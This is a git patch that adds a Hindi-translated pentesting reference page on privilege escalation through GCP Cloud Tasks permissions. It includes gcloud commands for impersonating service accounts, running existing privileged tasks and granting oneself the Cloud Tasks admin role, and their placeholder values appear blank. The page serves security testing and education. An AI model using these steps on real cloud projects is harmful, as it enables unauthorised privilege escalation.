From 7b797c4f0195f6bbaaa3e73316320b8be082133a Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 14:20:10 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ --- src/SUMMARY.md | 1 + .../gcp-cloudtasks-privesc.md | 45 +++++++++++++++++++ 2 files changed, 46 insertions(+) create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 66a6a8fd8..7e7cc6609 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -107,6 +107,7 @@ - [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md) - [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md) - [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md) + - [GCP - Cloud Tasks Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md) - [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md) - [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md) - [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md new file mode 100644 index 000000000..1be154eda --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md @@ -0,0 +1,45 @@ +# GCP - Cloud Tasks Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Cloud Tasks + +### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs` + +इन अनुमतियों के साथ एक हमलावर **अन्य सेवा खातों का अनुकरण** कर सकता है, जो निर्दिष्ट सेवा खाते की पहचान के साथ कार्यों को बनाने की अनुमति देता है। यह **IAM-संरक्षित Cloud Run या Cloud Functions** सेवाओं को **प्रमाणीकृत HTTP अनुरोध भेजने** की अनुमति देता है। +```bash +gcloud tasks create-http-task \ +task-$(date '+%Y%m%d%H%M%S') \ +--location us-central1 \ +--queue \ +--url 'https://.us-central1.run.app' \ +--method POST \ +--header 'X-Hello: world' \ +--body-content '{"hello":"world"}' \ +--oidc-service-account-email @.iam.gserviceaccount.com +``` +### `cloudtasks.tasks.run`, `cloudtasks.tasks.list` + +इन अनुमतियों के साथ एक हमलावर **मौजूदा निर्धारित कार्यों को चला सकता है** बिना उस कार्य से जुड़े सेवा खाते पर अनुमतियों के। यह उच्च विशेषाधिकार वाले सेवा खातों के साथ पहले से बनाए गए कार्यों को निष्पादित करने की अनुमति देता है। +```bash +gcloud tasks run projects//locations/us-central1/queues//tasks/ +``` +इस कमांड को निष्पादित करने वाला प्रमुख **`iam.serviceAccounts.actAs` अनुमति की आवश्यकता नहीं है** कार्य की सेवा खाते पर। हालाँकि, यह केवल मौजूदा कार्यों को चलाने की अनुमति देता है - यह कार्यों को बनाने या संशोधित करने की क्षमता नहीं देता है। + +### `cloudtasks.queues.setIamPolicy` + +इस अनुमति के साथ एक हमलावर **अपने लिए या अन्य प्रमुखों को Cloud Tasks भूमिकाएँ प्रदान कर सकता है** विशिष्ट कतारों पर, संभावित रूप से `roles/cloudtasks.admin` तक बढ़ते हुए, जिसमें कार्यों को बनाने और चलाने की क्षमता शामिल है। +```bash +gcloud tasks queues add-iam-policy-binding \ + \ +--location us-central1 \ +--member serviceAccount:@.iam.gserviceaccount.com \ +--role roles/cloudtasks.admin +``` +यह हमलावर को किसी भी सेवा खाते को कतार पर पूर्ण Cloud Tasks व्यवस्थापक अनुमतियाँ देने की अनुमति देता है जिसे वे नियंत्रित करते हैं। + +## संदर्भ + +- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs) + +{{#include ../../../banners/hacktricks-training.md}}